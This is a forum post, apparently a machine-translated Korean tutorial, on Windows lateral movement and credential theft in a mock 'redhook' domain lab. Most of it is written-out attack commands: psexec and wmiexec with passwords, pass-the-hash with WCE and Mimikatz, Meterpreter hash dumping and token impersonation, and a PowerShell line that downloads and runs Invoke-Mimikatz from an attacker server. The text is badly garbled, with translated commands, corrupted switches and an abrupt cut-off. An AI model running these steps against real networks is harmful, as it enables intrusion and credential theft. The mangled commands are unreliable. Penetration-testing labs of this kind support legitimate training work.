KoreanHackerTeam
Moderator
0x00 场景
이번에는 목표는 "redhook.da"도메인에서 계정에 가용 자격 증명을 얻는 것입니다. 인트라넷 호스트를 제어하는 권한으로 시작하지만 대상 도메인 컨트롤러와 동일한 서브넷에 있지 않습니다. 아래 그림과 같이 :
또한 공격자가 클라이언트 1 호스트에서 로컬 관리자 캐시 인증 자격 증명을 얻었다고 가정합니다. 일반적으로 네트워크 범위가 충분히 크면 해당 저장된 유효한 자격 증명은 Batch, VBS,NET, PS1 등과 같은 스크립트를 통해 네트워크 공유에서 발견되어 초기 액세스를 얻습니다. 이 기사 에서이 공격자는 Windows에서 옆으로 이동하는 방법과 AV를 우회하지 않는 상황에 중점을 둡니다.
0x00 攻击clicent1主机
1.批处理脚本获取위에서 언급 한 바와 같이. Clent1 (10.0.0.129) 호스트의 사용자 인증 자격 증명은 배치 처리 및 네트워크 공유의 스크립트를 통해 얻었습니다.# \\ fileserver \ users \ bob \ WorkStations \ errorlog.bat의 모의 내용
@echo
순 사용 '\\ 10.0.0.129 \ c $' /user3360bob imsosecur3! #공유를 생성합니다
존재하는 경우 '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(
Echo 'Sigh, Client1에 더 많은 오류가 발생합니다! 사자.'
복사 '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'c: \ users \ bob \ logs \ client1 \
del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'
) 또 다른 (
Echo 'Yaay, Client1에 새로운 오류가 없습니다!'
))
순 사용 '\\ 10.0.0.129 \ c $' /삭제
배치 스크립트를 통해 지정된 IP에 대한 NetBios 정보를 신속하게 얻습니다.
NBTSCAN -VH 10.0.0.129
또는
NBTSTAT -A 10.0.0.129

NBTSTAT -A IP 명령을 사용하여 동일한 작업을 수행 할 수도 있습니다. 호스트 이름 Win7-ent-Cli1을 얻을 수 있으며 Redhook 도메인에 연결됩니다.
2.PsExecMetasploit의 PSEXEC를 사용하여 Kali에서 클라이언트 1 호스트의 리바운드 쉘을 쉽게 얻을 수 있습니다. Bob은 도메인 계정이 아닌 로컬 계정입니다. 따라서 SMBDomain 매개 변수는 사용되지 않습니다.
MSFUSE Exploit/Winodws/SMB/PSEXEC
MSFSET RHOST 10.0.0.129
MSFSET SMBUSER BOB
MSFSET SMBPASS IMSOSECUR3!
MSFSHOW 옵션
msfexploit

여기에서는 remcomsvc를 사용하여 psexec를 시뮬레이션하는 Impacket 패키지에서 psexec을 사용할 수도 있습니다. 여기서 장점은 명확한 졸업장을 얻지 못하면 해시 패스를 수락 할 수 있다는 것입니다.
Python psexec.py bob:imsosecur3 [email protected] cmd

Windows에서 psexec.exe는 수평으로 이동할 수 있으며 실행 파일에 서명 할 수 있습니다. 이 명령에 "-s"식별자를 추가하면 시스템 쉘이 나타납니다.
psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD

3.WMI원격 명령 실행 도구와 관련하여 가장 유명한 WMIC 도구는 원격 호스트에서 명령 실행을 허용 할뿐만 아니라 WMI를 사용하여 민감한 정보를 얻고 호스트 시스템을 재구성 할 수 있습니다. 이 도구는 Windows 용 내장 명령입니다.
WMIC /Node336010.0.0.129 /user:bob /password:imsosoSecur3! ComputerSystem 목록 브리프 /형식 :List #컴퓨터 정보를 얻습니다
WMIC /Node336010.0.0.129 /user:bob /password:imsosoSecur3! ComputerSystem username #remotly gud gear target 사용자 계정 정보 권한
WMIC /Node336010.0.0.129 /user:bob /password:imsosoSecur3! 프로세스 호출 상자 'calc.exe'#Remote Creation Process, Calc.exe는 다음과 같습니다.
WMIC /node336010.0.0.129 /user:bob /password:imsosoSecur3! ComputerSystem 프로세스 이름, processId | findstr calc #Remotely 프로세스 ID, 이름을 얻고 프로세스를 실행하십시오.
}

4.WmiExecIMPACKET 패키지에서 WMIEXEC 도구를 사용하여 명령을 실행하고 명령 출력을 인쇄 할 수 있습니다. 반 인터랙티브 쉘을 제공하거나 해시를 통해 전달할 수도 있습니다.
Python wmiexec.py bob:imsosoSecur3 [email protected] 경로 인쇄 -4 10.*

Pscredential 객체의 사용으로 인해 PowerSploitz의 Wmicommand를 Invoke-Wmicommand는 더 많은 메모리를 차지하지만 명령 인쇄 및 스크립트의 메모리 저장 위치를 얻을 수 있습니다.

5.Pass-The-Hash(WCE和Mimikatz)때때로 대상 호스트 명령 창이 얻어지면 대상 호스트 사용자의 NTLM 해시 값 만 얻을 수 있으며 일반 텍스트 비밀번호를 얻을 수 없습니다. 이 경우 Metasploit (PSEXEC) 또는 임파 패킹을 사용할 수 있습니다. 환경이 로컬 Windows 환경으로 제한되면 WCE 또는 Mimikatz를 사용하여 NTLM 해시를 공정에 주입 할 수 있습니다.
우와미
순이 사용 \\ 10.0.0.129 \ admin $ #대상 공유를 얻을 수없고 사용자 이름과 비밀번호는 여기에서 필요합니다.
wce.exe -s bob:aad3b435b1404eeaad3b435b51404e333:f6c0fa29f4cad745ad04bed1d00a7c82 #remote hash를 통해 wce.exe
순이 사용 \\ 10.0.0.129 \ admin $
dir \\ 10.0.0.129 \ admin $

단점은 WCE가 오류 경보 정보를 표시한다는 것입니다! PowerShell을 사용하여 Mimikatz를 직접 메모리에로드 할 수 있습니다! 그러나이 경우 컴파일 된 바이너리 파일 Mimikatz.exe를 사용하는 것이 좋습니다.
순이 사용 \\ 10.0.0.129 \ $ admin
Miminatz.exe
Mimikatz#sekurlsa33333

우와미
순이 사용 \\ 10.0.0.129 \ $ admin

이 경우 필드는 모두 ""로 설정됩니다. 밥은 로컬 계정이기 때문입니다.
0x02 建立据点01
1.Metasploit(Mimikatz和hashdump)Mimikatz를 사용하여 활성 세션에 대한 사용자 자격 증명을 얻고 Hashdump를 사용하여 현재 로그인되지 않은 로컬 계정에 해시를 얻습니다.METERPRETERLOAD MIMIKATZ #LOAD MIMIKATZ 모듈
MeterPrtertspkg #Enhance 시스템 권한
MeterPrtermsvv #현재 활성화 된 세션 자격 증명
MeterPrterhashDump #지역 호스트 계정의 모든 해시 값을 얻습니다

2.Secretsdump和Invoke-MimikatzImpacket의 SecretsDump 및 PowerSploit의 Invoke-Mimikatz도 사용할 수 있습니다. 이 경우 Invoke-Mimikatz는 공격자 웹 서버에서 호스팅됩니다.
Python secretsdump.py bob:imsosecur3 [email protected]
Python psexec.py bob:imsosecur3 [email protected] cmd
PowerShell -Exec Bypass -Command 'IEX (New-Object System.net.WebClient) .dowloadString ('http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz'
Mimiatz (PowerShell)#sekurlsa3333:logonpasswords

물론이 문제를 해결하는 다른 방법이 있지만 이것이 주요 접근법이라고 생각합니다.
0x03 信息收集
이제 다른 서브넷에 연결된 Redhook 도메인의 호스트에 액세스 할 수 있습니다.1.令牌获取이제 우리는 Redhook 도메인에 기계가 있고 다른 서브넷에 연결할 수 있으므로 정보를 수집하기 시작합니다.
도메인 정보를 쿼리하려면 도메인 사용자가 있어야합니다. 현재 Bob 사용자는 도메인 사용자 또는 시스템 권한이 아니지만 사용할 수 있습니다.
ntquerysysteminformation 다른 사용자의 토큰을 발견 한 다음 로그인을 시뮬레이션합니다.
MeterPreter에는이 플러그인이있어 프로세스가 매우 간단합니다.
MeterPrtergetUid
meterpterlist_tokens -u
meterprterimpersonate_token redhook \\ asenath.waite
MeterPrterShell
Whoai

또한 원격으로 사용할 수있는 Psexec와 같은 기능을 갖춘 도구 인 Luke Jennings 'Incognito를 사용할 수 있습니다.
incognito.exe -h 10.0.0.129 -u bob -p imsosecur3! list_tokens -u
incognito.exe -h 10.0.0.129 -u bob -p imsosecur3! -C redhook \ asenath.waite cmd.exe를 실행하십시오

마지막으로 PowerSploit의 Invoke-Token-Manipulation이 있습니다. 그러나 현재 상태에서는 실제로 원하는 기능을 얻을 수 없기 때문에 사용하는 것이 좋습니다.
2.域信息收集이제 대상 도메인 호스트의 쉘이 얻어졌으며 결과를 최대화하기 위해 일부 정보를 수집해야합니다.
C: \ Windows \ System32 Whoami redhook \ asenath.waite
C: \ Windows \ System32 Hostnamewin7-ent-Cli1
C: \ Windows \ System32 IpConfig
Windows IP 구성
이더넷 어댑터 로컬 영역 연결 2:
연결 별 DNS 접미사. 로컬 도메인 링크-로컬 IPv6 주소. FE80:A1BA:A1AB:170C:7916%17 IPv4 주소. . 10.0.0.129 # 공격자의 서브넷 서브넷 마스크. . 255.255.255.0 기본 게이트웨이. .
이더넷 어댑터 Bluetooth 네트워크 연결 :
미디어 상태. . 미디어 연결 해제 된 연결 별 DNS 접미사.
이더넷 어댑터 로컬 영역 연결 :
연결 별 DNS 접미사. 링크-로컬 IPv6 주소. FE80:5DDC:1E6336017E9:9E15%11 IPv4 주소. . 10.1.1.2 # Redhook 서브넷 서브넷 마스크. . 255.255.255.0 기본 게이트웨이. . 10.1.1.1
터널 어댑터 ISATAP. {8D0466B5-1F88-480C-A42D-49A871635C9A} :
미디어 상태. . 미디어 연결 해제 된 연결 별 DNS 접미사.
터널 어댑터 ISATAP.localdomain:
미디어 상태. . 미디어 연결 해제 된 연결 별 DNS 접미사. 지역 도메인
터널 어댑터 ISATAP. {5CBBE015-1E1C-4926-8025-EBB59E470186} :
미디어 상태. . 미디어 연결 해제 된 연결 별 DNS 접미사.
# 방금 손상된 것을 포함하여 매우 작은 작은 네트워크, 3 개의 호스트 .C: \ Windows \ System32 Net ViewServer 이름 비고
-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2
명령이 성공적으로 완료되었습니다.
# DC 사용자가 인증 된 TOC: \ Windows \ System32 Echo %logonserver %\\ redrum-dc
C: \ Windows \ System32 Ping -N 1 Redrum -DC
pinging redrum-dc.redhook.local [10.1.1.200] 32 바이트의 데이터 : 10.1.1.200: 바이트=32 Time1ms ttl=128
10.1.1.200: 패킷에 대한 핑 통계 3: SENT=1, 수신=1, 잃어버린=0 (0% 손실), 1 백만 초의 왕복 시간 3: 최소=0ms, 최대=0ms, 평균=0ms
# 로컬 사용자를 나열하십시오
사용자는 \\ win7-ent-cli1을 설명합니다
-------------------------------------------------------------------------------Administrator bob GuestTemplateAdmin
명령이 성공적으로 완료되었습니다.
# redhook 도메인 사용자를 나열하십시오
C: \ Windows \ System32 NET 사용자 /도메인
요청은 도메인 redhook.local의 도메인 컨트롤러에서 처리됩니다.
\\ redrum-dc.redhook.local을 계정합니다
-------------------------------------------------------------------------------Administrator asenath.waite Guestjohn.smith krbtgt redhook.DArobert.suydam wilbur.whateley
명령이 성공적으로 완료되었습니다.
# powerSploit=Invoke-Enumeratelocaladmin: 네트워크의 상자에서 로컬 관리자 인 모든 사용자를 찾으십시오.
c: \ wind